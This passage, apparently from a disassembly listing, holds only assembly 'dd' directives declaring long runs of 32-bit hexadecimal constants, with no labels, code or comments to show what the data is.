		dd 5053FF82h, 0C75884D5h, 0B26B9BA4h, 0D55E9777h, 5ADBE970h
		dd 3EEAA4E7h, 4BE03A48h, 85A10BAh, 1D1C0C60h, 6199474Bh
		dd 2BB26861h, 80F4F8Bh,	0BEB11043h, 0D8DD9FE1h,	7725C65Ah
		dd 820AF384h, 6CE81B57h, 0F62C56FBh, 5E43037Ch,	0AD2C3FBEh
		dd 0B320EB17h, 75D1090Ch, 1FA03CFh, 45403B14h, 0C6F06818h
		dd 7B27D6BAh, 3C9AD852h, 3FA67921h, 41622460h, 0C71A7A0Fh
		dd 4956D0F2h, 92617C0Bh, 0BD16D809h, 0C5EFACBh,	0A45E06F4h
		dd 0E3A625AAh, 0E5C1D190h, 82B4074Eh, 0AB690C5h, 0EE896273h
		dd 0BB5244DAh, 0F25044E6h, 5CB2C1F5h, 78540166h, 57561E20h
		dd 509F681Eh, 81935F1Fh, 89F805F1h, 54C7EAFEh, 3528E03h
		dd 57B78BAh, 0CE73296Ah, 0D468D80Ah, 0B6F9947h,	625FDC52h
		dd 0B7A049BAh, 2730D4BDh, 2DC12248h, 0C9761BD5h, 0E72FE276h
		dd 5D541266h, 1720E2A7h, 0EEFA6D6h, 0C7C07EF1h,	9A13881Ch
		dd 68030395h, 0EFECCDC2h, 5DEB29B0h, 44DD875Fh,	0D43D047Ah
		dd 0A026AA63h, 6F66EBEh, 0EAC05AE0h, 0B30E903h,	7AEB838Ah
		dd 0F6BB737Fh, 99774FD7h, 4BC2A43h, 1CD554C9h, 5C250B17h
		dd 0AA092210h, 6FB75E00h, 5C9A5842h, 35A3E504h,	0A2C23332h
		dd 0F5EEFDDAh, 64892D04h, 0D4BE7490h, 5B0822A5h, 8941E57Dh
		dd 0B259CBC0h, 0FFEB21C2h, 5F48C9C4h, 2CA387FDh, 0EA67750Bh
		dd 0F016E909h, 17498D7h, 23A87579h, 7107EFC1h, 0DB52AA11h
		dd 56463A2Dh, 76386074h, 5F121F51h, 9DB0B3E9h, 6BEEBDB9h
		dd 0F9B51FBAh, 0FAD00848h, 8049B301h, 0DAC189C2h, 0C04C2CF0h
		dd 7D47F13Bh, 0C9EC1FCDh, 0F46E840Bh, 12C0F22Ah, 31E797E9h
		dd 6A5D580Fh, 5E7FEAA2h, 683A0546h, 0B4E26086h,	0E65F886Ch
		dd 404A0AB8h, 10E4F26Eh, 0C0A07F7Eh, 1D0463B5h,	7C38E929h
		dd 5B41BCB4h, 81E5A42Eh, 1071CB09h, 0B88D884h, 6F8D3BADh
		dd 0E0761BF7h, 5DD0F3h,	0DF217110h, 1188E95Bh, 9C30152h
		dd 6652CC68h, 0F45820F4h, 51FFE6FAh, 3F2351F6h,	0EA270FCAh
		dd 152666C5h, 0B315AA4h, 23AF54E9h, 11C11B80h, 0CD4F9F0Ch
		dd 0B152FAA4h, 46C280FEh, 593C8A7Fh, 45AE44D6h,	54753768h
		dd 0CC33D632h, 0E2074310h, 8885B848h, 71D479C4h, 0D1D787EBh
		dd 0D499B20Ah, 0CEF53FCAh, 0F604BE4Ah, 0B06C1402h, 5FE9D2F6h
		dd 4FB3A8C1h, 0AC4894F7h, 0C1173007h, 0AF7F5279h, 0E726565Ah
		dd 0F26BAE67h, 3C3E2A48h, 5BAE810Bh, 0C9F2AD03h, 0A259C3C9h
		dd 2DC747A4h, 0D004DD2Ch, 57EBF4C1h, 9C8F815h, 0D610EA62h
		dd 44F05803h, 2519AA01h, 28682A7Bh, 4A7D6D30h, 22ADCCB3h
		dd 94E74D52h, 70A2143Ah, 0DE2904B5h, 8DFCDAE9h,	0C94ABC4Bh
		dd 0C52C1098h, 58571864h, 494A0C47h, 0E9482D06h, 793688EDh
		dd 0A9A9059h, 143C57DAh, 0BA6802FDh, 0E463DBCAh, 1928D810h
		dd 0E839FF4Ch, 0E2DC23Dh, 0BA5E5584h, 57552760h, 226FFB68h
		dd 0E65FE4C6h, 0B1615B3Ch, 2B583198h, 7BA964ACh, 9CDCCADCh
		dd 4A6804CAh, 2B8D963h,	4C7E0EA0h, 9E6A8BBFh, 52D4702Ah
		dd 7A582A5Dh, 0AC010D13h, 495081E1h, 0FE807DF9h, 6527672Dh
		dd 144DE0E9h, 16C758F2h, 27B8EFE5h, 0C5605EC9h,	0D126095Ch
		dd 9720375Ah, 5E9A3B20h, 0E208B85Eh, 1289AAC7h,	3665F002h
		dd 4A85F26h, 0FA5E2708h, 49B11F42h, 9132662Ah, 0D54B121Dh
		dd 18648A01h, 7F5E326Ch, 1AD3AD82h, 7AA590FCh, 5E59C9A6h
		dd 5B24A165h, 9B7EBF0Dh, 60FA3E85h, 8649EAB5h, 0EE48F511h
		dd 92B794ECh, 0A462526Fh, 0D4FA27A6h, 5EC5B5FCh, 0BACBC4ABh
		dd 916EB2C9h, 0B64B4Fh,	0B35D5368h, 9DFA693Ah, 0DCC8145Fh
		dd 3B1D5D93h, 17783882h, 1B04DC83h, 0EDEF3085h,	284F0B31h
		dd 684BC802h, 3148D77Bh, 74B4865Dh, 83A2DD5Ah, 0FC59FEC9h
		dd 0DEBA5D13h, 8EEB2CF9h, 551C7DA5h, 42CADE97h,	8100C19Ah
		dd 77D3042h, 5B39F863h,	0D45FE561h, 2ACC2B2h, 36A90055h
		dd 0FE45D14Dh, 0F36B4F2Fh, 0EDC05FF0h, 9FE3192h, 95F7E91Ch
		dd 0A8ED4268h, 7ADA7418h, 258C820Ch, 80F519D9h,	6663CBF4h
		dd 4E1B5848h, 0C3078A0Eh, 36D841D3h, 6A76454Bh,	0CE41A41Eh
		dd 739279B6h, 39FBEEFCh, 0BD5BFF7Fh, 83EF01C0h,	17B635Ch
		dd 0BD2E2DAh, 68EA0108h, 77603CFh, 30489605h, 304CCB5Eh
		dd 1D94E4Fh, 57F71221h,	0CC85045Ah, 0E0C00582h,	0E2A2CD04h
		dd 56026800h, 0A8F43526h, 0F8453064h, 8A10FBECh, 2BD026Eh
		dd 834D4A79h, 1278FE83h, 13EF890Ch, 0BB81C4B2h,	6192388Ah
		dd 7320BA4Ah, 27127EECh, 8A5C7254h, 0EF00FAD7h,	29861752h
		dd 3F50181h, 0F774044Ah, 45F771D5h, 0B8139095h,	8C3D3871h
		dd 0F8CD2517h, 7FD9958Fh, 0C08262h, 9E10A7BBh, 0C6681609h
		dd 4BE8E679h, 578309D5h, 3005E657h, 0C7D508B8h,	824C4310h
		dd 5EEF021Ch, 0FD219698h, 0EE0FD6C4h, 497F4572h, 0F54C57EBh
		dd 1120290Bh, 0BCB98074h
		dd 2679C31Ah, 3E1F5741h, 7BF744A2h, 33C02750h, 0BBC8A1A7h
		dd 0B5D085B7h, 7AE33104h, 9E7C300Dh, 5172F739h,	2910E70Bh
		dd 64165DF9h, 2A206C90h, 552BA16Dh, 0B5DAB232h,	0FB388504h
		dd 0AC3A992Dh, 54A5A26Dh, 89C696A5h, 7FFE17h, 0AD553443h
		dd 0B71990Fh, 0E6798E42h, 406BF827h, 7590568Fh,	0E57EBC0Bh
		dd 0F2710033h, 1C300D4Fh, 0DBE94A02h, 5804C9ABh, 6461012Dh
		dd 70088CC5h, 349161Fh,	82419BF2h, 645131B3h, 5416415Ah
		dd 3D42E60h, 9659080Bh,	0BC4EBFEFh, 8605C64h, 7B0A8B07h
		dd 0CB38E1D4h, 1CD4EBE3h, 0E7BF4885h, 936E4982h, 200FBB09h
		dd 0FD5EFEB1h, 0CD810675h, 6A5313E1h, 9799E62Ah, 57ACB58h
		dd 45B47374h, 1B66CA01h, 0DE7B05AEh, 0C0E90947h, 2133EE37h
		dd 7827B951h, 11D63AA9h, 5F6BB3CEh, 8AFAB716h, 1724C6Fh
		dd 6EF02199h, 28A0F901h, 515F2508h, 7755B255h, 0C3136830h
		dd 0E82D9FA5h, 820CA7A2h, 53F3E1F7h, 0A880EB54h, 0B01645B5h
		dd 89EA2051h, 0ADF5293Bh, 0BF8383B4h, 2FE3804Eh, 8E73EC1h
		dd 1A157E98h, 0C51225B9h, 0A6A88C18h, 65042E48h, 0C40D1164h
		dd 4435FE28h, 0F45D0009h, 59735807h, 98740C31h,	92665250h
		dd 2A2BF102h, 0E45D313Ah, 2A95BE0h, 2ED4686Eh, 879D3366h
		dd 0FDA3B6E8h, 65FED263h, 93B880E2h, 0D126F072h, 0CFA8E85Eh
		dd 526C3502h, 6DA23AAh,	2EC0D479h, 0BF687EBEh, 3DD8B530h
		dd 4E147A38h, 2E7CB0E7h, 8B2EBE01h, 69660254h, 3336A130h
		dd 2D0897EFh, 0BFDDD54h, 0D0AE2092h, 0F33DC968h, 10EC907Fh
		dd 0E9B90114h, 0D8F19596h, 0FB39743Ah, 681FEC8Fh, 0AC8C29C1h
		dd 342C08EFh, 0A3F4C580h, 7D29A59Fh, 350E5DEAh,	83EF881Ch
		dd 68595BFCh, 64AF46DAh, 5920E5CDh, 0A316E3Bh, 8841548Ah
		dd 0A33F7C88h, 0F0E90BFFh, 52227DD2h, 96DC58E8h, 925FE62h
		dd 0AC39D3A0h, 3DF8D909h, 3BCA2A5Bh, 5887FA10h,	0D99510FBh
		dd 74457E7Ch, 48CE76F7h, 0A04EC975h, 294F5B69h,	19C7B7F0h
		dd 0D6668F70h, 0C779CA35h, 8E7B0E81h, 6E30450Fh, 3D512CD3h
		dd 6DF30FF3h, 0F75EC861h, 524770DBh, 27A90512h,	7DD67101h
		dd 0EA6D2314h, 73A1505h, 0E59E834h, 17EEB6E9h, 0AE9436FDh
		dd 789DF420h, 1E7D1C4Fh, 5712FEC8h, 1794D512h, 78A8808h
		dd 0F358C40h, 0FBA1C019h, 0EBCF3344h, 68C245A2h, 484869E1h
		dd 0C5B5454Dh, 39F7B0C5h, 0ADB8CE3Ch, 0FB7C506h, 0E2C83B56h
		dd 0DA8B2FF1h, 64FFCBE2h, 49B4039Ch, 70E92B3Eh,	0B2FD01CAh
		dd 75B3C2B6h, 0C024CD45h, 8488BD12h, 0AFB32453h, 36C21AF1h
		dd 804AC72h, 78D64B2Fh,	6C293E5Eh, 5ABF240Ch, 5AB7DA55h
		dd 5A4D826Ah, 80A5F9D7h, 0B5B2B050h, 0ED1380D7h, 0D9F128D6h
		dd 5F09E9D4h, 68DB306Bh, 9CA85CF9h, 0D78205B5h,	4057CBC2h
		dd 179060h, 0BE5678CAh,	7E953389h, 0E7AC295Bh, 1D043294h
		dd 0FACCE7BCh, 8DC0F913h, 0A01F1262h, 7BC59BE9h, 55A6A025h
		dd 75492D37h, 8A0E8DCh,	0F3C248DFh, 5E76073Ch, 0C108A0E5h
		dd 38279F1Ch, 3B2D7172h, 0B750F89Fh, 0B51C4034h, 0E879F070h
		dd 0A09F08E0h, 0B05B6F2h, 7E70B71Dh, 0A3CA5D4Eh, 0CE34FE4Fh
		dd 0FA5FAAD1h, 72256F36h, 0B2B1C740h, 8D4F17FEh, 9BDE0DCh
		dd 691C23EBh, 1E3BCE81h, 3F01E154h, 448143D1h, 6814E700h
		dd 0F18370E5h, 0B3856128h, 85C011AAh, 8080265Dh, 0EC104FEBh
		dd 27853E2Fh, 46B5423Eh, 0B9C9E439h, 3A802A8h, 0E7E1353Ah
		dd 0E00105FFh, 61E63457h, 0F04BA28h, 0FB7CBF6Fh, 0C2EC298Dh
		dd 0C83572D7h, 0CA25237Ah, 0F114DF6Dh, 521D74B7h, 68CE0874h
		dd 4048095Fh, 62F9FF00h, 7CB7167Ch, 1B35584Eh, 0EA7B2B98h
		dd 817ADE4h, 4AA5541h, 0D893244Ch, 8B9F84A2h, 8989716Ch
		dd 6EDED3E2h, 41FE6493h, 7FE8EF9Bh, 2C2BB2Ch, 0C68CDC42h
		dd 2B05209h, 9CBC8797h,	2B71E931h, 3AB1A3Bh, 27E3DD62h
		dd 0EC20F9F7h, 0AD68505Ch, 80D80B59h, 71781E56h, 53D805B8h
		dd 2312569h, 72066872h,	895C1D55h, 0FBA22DE9h, 6DFE5566h
		dd 476F8B1Fh, 40029111h, 0AD3D282h, 0F18303EFh,	95A3A183h
		dd 243BEEB0h, 0C02EDC27h, 0D662C750h, 0EDB616E1h, 9B04E55h
		dd 59CC409Eh, 976ACC9Dh, 5E250565h, 0C4FD72C6h,	5B0F2D6Fh
		dd 6CB3A219h, 76F45EEEh, 6C299D71h, 0D0B0E74h, 506D762Ch
		dd 0CF91ED20h, 5F10514Ah, 60B680Bh, 0E65A3E4Ch,	6B103BA6h
		dd 595E120Ah, 0EB9736F2h, 1848EE00h, 15525B6h, 0C07AF668h
		dd 6CDEE936h, 0A75B3D38h, 673968AEh, 1C5397CCh,	7AB97B0Bh
		dd 3C440AA3h, 0ED1EEBh,	1945D525h, 5D4FEA31h, 0A13BF5A1h
		dd 9A64665Bh, 0FBC1DF53h, 0D1A78208h, 0B2C8215Ah, 0BE3C0C8h
		dd 3168E831h, 929B545Bh, 0B35C03D5h, 80FCFC02h,	49CCFAD6h
		dd 0DAE91850h, 0EEB8B6F1h, 195B6B7Eh, 0D0016BCh, 5AD43FD8h
		dd 7F4EF42Dh, 4E7EBDF0h, 0C17DFDC5h, 55D4685Ch,	0F5C47B38h
		dd 0F5CDFFB8h, 46A52E5h, 0ACF9B635h, 0DC792D09h, 8158B209h
		dd 0F64A3051h, 877ABB43h, 16E1E50Bh, 15E58C05h,	65DDCD4Eh
		dd 9F91E42h, 78518975h,	856A60D9h, 382EE98Fh, 7E5B9295h
		dd 3BD8AFD4h, 1CC2269Eh, 88997EB9h, 680576A5h, 26E3442Dh
		dd 457A305Bh, 3B4FCF4Fh, 86010AFh, 0AC5E6547h, 123918CEh
		dd 0B702C1C3h, 47200B1Ch, 192848BBh, 46208A2Fh,	95E78002h
		dd 962C0DBEh, 1562F17Bh, 6053DD3Eh, 0F7C6B8D2h,	130E81CAh
		dd 136B6D3Eh, 29C3E0E1h, 0FBFCD85Ah, 5AF568B2h,	0CF793424h
		dd 319E052Dh, 8F62FBE8h, 7EC5ABADh, 420813F2h, 549EBE71h
		dd 0EEE600DDh, 4C593E38h, 0A006B2Eh, 56236BF2h,	25025E58h
		dd 10F667C0h, 5CDC8BE9h, 0F9294230h, 0C00076BAh, 19FA5501h
		dd 119C80EAh, 5B45681Dh, 7E0654FEh, 71AEA40h, 436B20BEh
		dd 473AA239h, 8600F5ABh, 824AE4E3h, 0DB5E237Dh,	0F580BE00h
		dd 70EB286Dh, 60F36F59h, 0C516FC1Eh, 0E083E066h, 548C078h
		dd 327D3635h, 60C1E628h, 0DD283830h, 4196535Bh,	0CAABFE17h
		dd 63E91883h, 1E1FB9A1h, 9D7D074Ah, 682DA04Dh, 97277E41h
		dd 0D4DABD34h, 0E0EB1254h, 28C488FBh, 7E30B741h, 0B10B58F7h
		dd 32D0682Fh, 77095A0Ah, 0AF8A1F1Ch, 0F581A63Eh, 23E43396h
		dd 21E30C82h, 52600267h, 102F200Ch, 2D107403h, 0B13957F4h
		dd 535F38BCh, 2FA4A62Bh, 5C1389C0h, 0C85A5CDEh,	0AED3B8E2h
		dd 83B862h, 0BDCF814Fh,	28670673h, 55998BDCh, 0A031C203h
		dd 0FDF26502h, 5D63E4B7h, 0FB001289h, 11F71EDAh, 2149E5E5h
		dd 8ED27A79h, 17EEFD0Ch, 70D83B38h, 238A5A4Ah, 6015E04Eh
		dd 7EB53170h, 0B6687845h, 251A2F82h, 6F446728h,	0CBFABB53h
		dd 88A14E32h, 1ECEC87Ah, 0F64A899Dh, 0EC405217h, 0B09F6440h
		dd 0BE035890h, 0EB3C12B2h, 52F49F66h, 8C4017CDh, 1B8E0BACh
		dd 0B0FD31A3h, 1D7D2DDDh, 4043BE58h, 6EDC65DBh,	551D001h
		dd 35983107h, 0C9224100h, 0C8FE05E3h, 0D9B750AFh, 0C9F8A72Ah
		dd 4256D338h, 0C0E9415Ah, 7F45203Bh, 5574ECCh, 0BD1C3168h
		dd 0DA21C16Eh, 0C3B26AECh, 8025AC4Ah, 209D0E3Ch, 0B110F0E9h
		dd 0AF720812h, 71544218h, 0B6142D4Dh, 0CAF5C062h, 29754017h
		dd 0C6BCC8C1h, 7174BE02h, 96C25964h, 0EE8CAAB2h, 0F3B84F69h
		dd 0BE560E9Bh, 0BF93AF1Dh, 9F017D3h, 158A0BBDh,	87504F3Bh
		dd 0F9215E17h, 0E40287A0h, 47D16129h, 3A048BC3h, 0BEB502BCh
		dd 0EF02678Eh, 661E7FBCh
		dd 87DA8F5h, 0CE825D27h, 6D6B6CE9h, 8285FFCCh, 129049AAh
		dd 83A203F0h, 8F02B99Ch, 31A1559Dh, 76928BF1h, 98055AFAh
		dd 4B3EC8A4h, 0EC2F7F41h, 0D0CB93A5h, 9CCE310h,	0C67AF068h
		dd 5E9189Dh, 0A5C5DDBCh, 784D7E72h, 40E5C68Fh, 0F0E8B80Ah
		dd 0FD0E4A82h, 99C9DEE1h, 680120D9h, 3EE64925h,	0B9185D5Fh
		dd 5C62F3Ah, 0CEE7BB05h, 0F6BBF101h, 99A69606h,	49680207h
		dd 0EF7F0B69h, 41E98B7Eh, 0AFE1B7A8h, 1073C65Eh, 2E65C398h
		dd 5034B5Eh, 9F32677Dh,	577BCED2h, 472DAD20h, 8107397Ch
		dd 9C79A0CAh, 0BDC2C08Eh, 2D3AC962h, 805DE2C1h,	0EFE3C3E5h
		dd 8FC0B5D1h, 0B3C721B3h, 6FE768E1h, 2AEF130Eh,	0D9E90B66h
		dd 68C698ACh, 923C944Ch, 2C34B0F6h, 1BBD2A5Fh, 0A718A43Eh
		dd 6B3522F0h, 0FA7FFD12h, 62126E13h, 2458D8A0h,	1F05C90Bh
		dd 5412B330h, 0F8586AFAh, 5B78DEF4h, 1CCE0635h,	0BF571E80h
		dd 8A7807D3h, 0FFFA2968h, 8200C712h, 51712ED2h,	9328A2EBh
		dd 0E359049Bh, 8BE98EFFh, 0BD78C472h, 38903946h, 3F754F4Fh
		dd 385DC08h, 0E50DAB05h, 8E0FBEECh, 604EA46Fh, 2A5C5E1h
		dd 0E5AE915Dh, 0BA003728h, 6E5B2D0Fh, 5816E281h, 27047A4Ch
		dd 90EA0ADh, 94C5B0D3h,	0DF29192Ch, 78C5F200h, 0B021395Bh
		dd 1C1F266h, 547569B6h,	2649D068h, 6B0304E0h, 145BAA5h
		dd 9735FFCEh, 854679FAh, 0F3B6E90Dh, 0E71221A6h, 541D3203h
		dd 0AD1347F5h, 2F98804Ch, 3F07C602h, 0F5446856h, 0F42A119Bh
		dd 2A98F5D1h, 2D7E48BFh, 2512C48Bh, 0BBCAFB5Ah,	0CB0BFB4Eh
		dd 0D31B8E7Dh, 5A08EE10h, 8BBD1FA8h, 74FDEBE5h,	0ED68E101h
		dd 0B5F22840h, 584950F0h, 2AD55EEBh, 21BC207Bh,	0FA315F1Ch
		dd 3708D79Bh, 0B93DA22Eh, 68178BFEh, 0CF0E5B16h, 0B81C9895h
		dd 83350043h, 6BC8B919h, 312C1FB4h, 0F7C2F3C1h,	0CA0940D9h
		dd 0ADF0936h, 60548CE9h, 77BEDD25h, 6EF801E9h, 93B2F22Eh
		dd 79BA6604h, 0E84FDE4Dh, 8A91C8A5h, 0AF62688Bh, 0C713A55Bh
		dd 6E07B9F9h, 602E3660h, 0A34FBBCDh, 5D81948h, 7F9F2F42h
		dd 0AB5A85FAh, 2DD15889h, 437B9F35h, 0A47DC468h, 59EAC02Fh
		dd 0C9040AEFh, 43F681CCh, 0ECEC27A4h, 12BDDE1Ah, 40D157C5h
		dd 594CD700h, 4A67E929h, 2656D15Dh, 9DDA07DAh, 2E63AE02h
		dd 394613Ch, 0E831BD20h, 4A5C1D2Ch, 0ABE1A5E9h,	15DC64Eh
		dd 328605F0h, 17248280h, 0D4E968D2h, 0E5FD81F3h, 1572595Fh
		dd 188D1260h, 1831516Eh, 55285798h, 8C0F9001h, 0A5FC3D3Ah
		dd 82AB5DEBh, 9F9090D8h, 0F5272874h, 0C25BA20Eh, 7F9277C5h
		dd 17C2A7C3h, 74DABA00h, 0AD205F7Fh, 0F70273CCh, 0E94B832Bh
		dd 583FF8A8h, 98373A59h, 7060C061h, 0F4B50E78h,	63B10B49h
		dd 8043A371h, 0ED33BFE5h, 0DDF5B20Dh, 888965F1h, 2E0656EAh
		dd 0D830620Bh, 6816FF4Ch, 7A99371Dh, 0C9050A60h, 9BDAC68Dh
		dd 0F850512Dh, 3FED905Ch, 0F59F7DB4h, 0A8B51323h, 62771006h
		dd 0C403B312h, 9D8EEAA9h, 0EA34E913h, 0FE963FC9h, 37B955F3h
		dd 0E489573Ch, 7B140104h, 6B61D1BFh, 97B41677h,	0A70177A3h
		dd 72F5CB03h, 1A27BDBh,	0BA36470Ch, 3856E922h, 685013D4h
		dd 0A25B63FDh, 5DCBDFDEh, 807CD108h, 10AD3449h,	9BB74481h
		dd 3BE1A1Dh, 0C55739A2h, 0C328804Dh, 68D7EB80h,	0E6759E27h
		dd 1ACD659Eh, 3A69F86Bh, 1031D8C3h, 5E27F978h, 8E07CFFAh
		dd 591E5179h, 57E168A1h, 5CC1746Ch, 2036BC21h, 5A705B27h
		dd 9B383E75h, 0CDF8CB01h, 6112F2E7h, 3FEAE757h,	0FD4BC73Fh
		dd 0FE2C8973h, 6878C920h, 0E917E8F8h, 7BE46D68h, 0F7C1F14h
		dd 59CA4771h, 2D55F742h, 0F0332F1Eh, 0DA37E250h, 0FFC3131Fh
		dd 8F08FB87h, 6BA07E4h,	0BB7FC076h, 60163086h, 64AE3158h
		dd 0D105FBFAh, 0DFAEF4F8h, 0C55525A1h, 820934F5h, 1C7D31EEh
		dd 0DA881331h, 9130EE5Bh, 970102FBh, 4758105Eh,	78282AFh
		dd 0B0C50F18h, 59E82801h, 0FC895266h, 14F2DE9Bh, 29B975EDh
		dd 272A582Ch, 0FCEA72B2h, 16DB8342h, 0B0896350h, 6EAD1418h
		dd 5476D0Ch, 35E9E3E0h,	815DBBD5h, 72BF19C9h, 59F538E8h
		dd 0FD29220Fh, 17C8ADBFh, 3A000DF3h, 0B8507B19h, 138A72E2h
		dd 57F2E930h, 0B773AA4Fh, 5A00EC5Dh, 93685153h,	569A6213h
		dd 0F1B065B8h, 1A271055h, 15F5F860h, 8002E3C1h,	9376E813h
		dd 0B2C20E3Fh, 2E5CA9E9h, 0A78432FDh, 0DC1616C7h, 2FE33C00h
		dd 5BC129F0h, 0C601EF58h, 0D2C209Bh, 9ACCA2Fh, 547199E9h
		dd 1DBEA642h, 2E3D4456h, 25C2E25Dh, 29970291h, 4977D6C3h
		dd 0DE480BF5h, 0A5F4EB3Ah, 84F5DDE3h, 4B97A7EAh, 0C22D61BFh
		dd 85616E5Bh, 0E00D2B5Eh, 0F5A82EEFh, 0B99E293Dh, 0C2D43A6Bh
		dd 2BD6C09Ch, 54F33F42h, 2FB2C982h, 0AADD444Eh,	0E60B23A8h
		dd 0EF25E825h, 172B7CD7h, 10CF0107h, 0E90B08BBh, 4EE4F20Ch
		dd 526FD98h, 0F101F8ABh, 2A794F3Dh, 0EDD21882h,	284066D5h
		dd 6C315687h, 35BA5A01h, 0C73004E3h, 0F0330F45h, 2B12D0F5h
		dd 1ECB780h, 604D1C10h,	1D02774Ah, 0CF292FB6h, 9E1687F6h
		dd 5BB4EB51h, 0D42A39BAh, 17C188B6h, 147A41EFh,	7FE7D9CBh
		dd 5580782Ah, 0B65CDB7h, 73C56B35h, 0A6105A17h,	71EF4BC9h
		dd 6A07E93Eh, 303F2FA1h, 6F0B6898h, 1881E9ACh, 9E9A4058h
		dd 24F90A26h, 0F58AB8C2h, 89DD4542h, 0F6D542A1h, 0EF1B429Bh
		dd 5C050F6h, 75984562h,	684F015Eh, 0E1E913C0h, 0A1A27EBBh
		dd 0A150388Bh, 4BFC5F4Ah, 72090C80h, 0FFBA5374h, 1B99342Ch
		dd 0E03DC701h, 0E13E0F9Ah, 1598008Dh, 765C394Ch, 61531296h
		dd 0CAE93903h, 7574C7Eh, 0D85EA004h, 9AC6FA4Fh,	10E20912h
		dd 105E7971h, 0A227827h, 21B02B18h, 0AAB11AE5h,	7CC40A61h
		dd 52395F4Fh, 96A5A09Dh, 0CFCBB026h, 3E17D001h,	0B6D9E976h
		dd 42684689h, 47DD9642h, 1EF649D3h, 20A37869h, 0B800272Bh
		dd 69FC4605h, 2E08BA52h, 3FC79531h, 0E92E1ADh, 389968C1h
		dd 0D6211D36h, 74BE36C9h, 0C5D74BF5h, 0AF743535h, 0AC4F76DAh
		dd 16E8970Ch, 0EF1884D8h, 0ACD73B3Ch, 0A25A50D1h, 5FF8319Fh
		dd 3CDA7A00h, 96A33E67h, 5CF05A98h, 8B8C29B5h, 5FC224B7h
		dd 0ABF466F8h, 7639C598h, 9458972Ch, 89205A38h,	0D8F4E97Fh
		dd 0E2801CC2h, 35C2CF12h, 0E942CF64h, 8F7009Dh,	533ADE77h
		dd 25BE09BBh, 0FE863C0Ah, 0D13A4C05h, 21441655h, 1A430A0Ch
		dd 0F5E91608h, 0C13934F2h, 6BAB9EA9h, 0BF40AAA7h, 5FFFA8A1h
		dd 0D4C25C01h, 0A69C4529h, 0A128172Fh, 0CA82859Bh, 9D183B0Eh
		dd 98FA6B82h, 15C33F30h, 0E90BB882h, 74AEF4Dh, 0AE3C50DCh
		dd 5ACEAEEEh, 4A4B407Dh, 0E682713h, 41E986C1h, 0F0575208h
		dd 3719201Dh, 9C7A5F4Dh, 974F91FCh, 0CF0C85D6h,	95C8E36Ch
		dd 5D30F82h, 3240322Fh,	61443540h, 24737B14h, 80FBFCA4h
		dd 3E294826h, 0D003015Bh, 6B637E2Dh, 383E936h, 0D7B825F3h
		dd 7B57D262h, 6A9D0B24h, 55423155h, 72E910EEh, 53520BC7h
		dd 2A3029C3h, 0F4F69B19h, 85381276h, 0C035A219h, 0D13488BFh
		dd 4BFABD49h, 8BDEE92Fh, 5932F7C7h, 883646F7h, 4AD668AEh
		dd 6B51CD69h, 0DC2C78D1h, 81080B70h, 0E2056F5Bh, 95CCF9ACh
		dd 4073F252h, 567749E1h, 0CC01E54Bh, 55A76866h,	782C83D2h
		dd 5D3A16AAh, 4CD8A601h, 0F32831C4h, 2733F636h,	124D2C7Dh
		dd 0C3E9C1EEh, 30F72A74h, 0E1B4E9C2h, 4CEFD1DFh, 964EB708h
		dd 0BC0E2B0h, 0C5FE03E5h
		dd 0B7381DC6h, 2F1158C4h, 0BBA6E06Ah, 0C5F17F5h, 2AAB952h
		dd 762B4E3h, 0F0D2F545h, 0E82A0108h, 57B2002Bh,	89503980h
		dd 0C60BD872h, 76095B58h, 6CF48330h, 0E3AB6F77h, 5AC4B75Bh
		dd 0FF50A5C4h, 78BF5FB1h, 0B54A2740h, 166A39CCh, 0FC65EE57h
		dd 0C2A64A43h, 2089C824h, 139C9611h, 85963559h,	5FBB4B0Ah
		dd 4D98B5E6h, 0ED666C0Bh, 32005817h, 0EE8DB618h, 15E640E0h
		dd 6E703A1Dh, 0B9A581BCh, 56E9C48Eh, 4D3B556Ch,	0F30F5C2Fh
		dd 65A9684Eh, 1F315F30h, 6A70B130h, 4CF777E5h, 0D505A133h
		dd 0C105AB0Ch, 0E96C2F35h, 49E7F056h, 1A9D0404h, 0E7E110E9h
		dd 0A5929D11h, 0C406B729h, 484E3025h, 0F63C4208h, 27FE0211h
		dd 0AA7A5D5Ah, 63EA370Bh, 29BA23FDh, 0C8AEADF3h, 0B6406968h
		dd 1A681250h, 18CF32Bh,	0E788A6B4h, 933220E9h, 6233C703h
		dd 0C040E1Fh, 390492BEh, 0F56912ABh, 9FC6AA1h, 670A0BE5h
		dd 2F6E61C8h, 817F9800h, 316A9CF2h, 0FE0CC67Ch,	0CCBC8071h
		dd 0C9AA5712h, 8AD02A20h, 249666BBh, 17A05D46h,	0FC1DCD74h
		dd 0B62622C3h, 2116882Ah, 0D96A46A1h, 0C0EC6BB2h, 0A8BDD69Ch
		dd 0E255A78Bh, 0BAD72BADh, 0A831C371h, 0BFD73A39h, 0A86FC561h
		dd 0A7C1BB15h, 236E3CF7h, 3F89594Eh, 32C00478h,	9F3E4262h
		dd 191B52C8h, 0E9C6F805h, 6224FF52h, 0E3AE7295h, 0C5D6274Fh
		dd 0B8F5AD92h, 9F8655B6h, 60B98C98h, 0FC519E2Fh, 83C4AF51h
		dd 28F3C504h, 5FE8DE44h, 4D6C8920h, 17D37C2Ah, 740A272h
		dd 56679CF9h, 0F2160C49h, 0E404477Fh, 2514C6F6h, 0F4805A07h
		dd 0D5D4A727h, 5EEBB8ADh, 0E18E36AAh, 38E9580Ah, 7D58CA05h
		dd 68209FEBh, 1DD275E1h, 55E1574Eh, 1ED0B4ADh, 7AF5A082h
		dd 74F2098Dh, 0E401EF3Ch, 825F5AD3h, 0E2698FBCh, 4E06017Ch
		dd 4FF43032h, 936B2662h, 69F95FA7h, 0F4FB84E7h,	0D8536270h
		dd 0BD8B7956h, 8E977146h, 0AA129CF5h, 8B0969CBh, 16575B0Bh
		dd 26BD4D2Ah, 0B236374Bh, 8CE8C29Dh, 0C8E021C1h, 909AF1F4h
		dd 0ED4C4D7Ah, 69E50225h, 8036066Bh, 0F20356E8h, 0FEE09FE9h
		dd 241ED82Dh, 0A83A7585h, 0AEA0705h, 16103D1Eh,	311FB780h
		dd 5AB86817h, 83D0A93Ch, 0D8B732EFh, 5B3BCCBFh,	6BD7E020h
		dd 28ABF388h, 2BFEFF77h, 0C8423D9h, 0E227A973h,	0CB42B70Ah
		dd 0A810F416h, 914B91Eh, 12864A2Ah, 0DD2D779Ah,	2DCAF95Bh
		dd 70953541h, 502D55A1h, 58B3765Dh, 61721BBh, 21F94CC4h
		dd 1905CB02h, 1C401FDAh, 712DEC5Bh, 0E9C28225h,	1B5A2ABh
		dd 0C80AC0F0h, 388F3748h, 0F871A138h, 0ACDA824Ah, 0D90D5922h
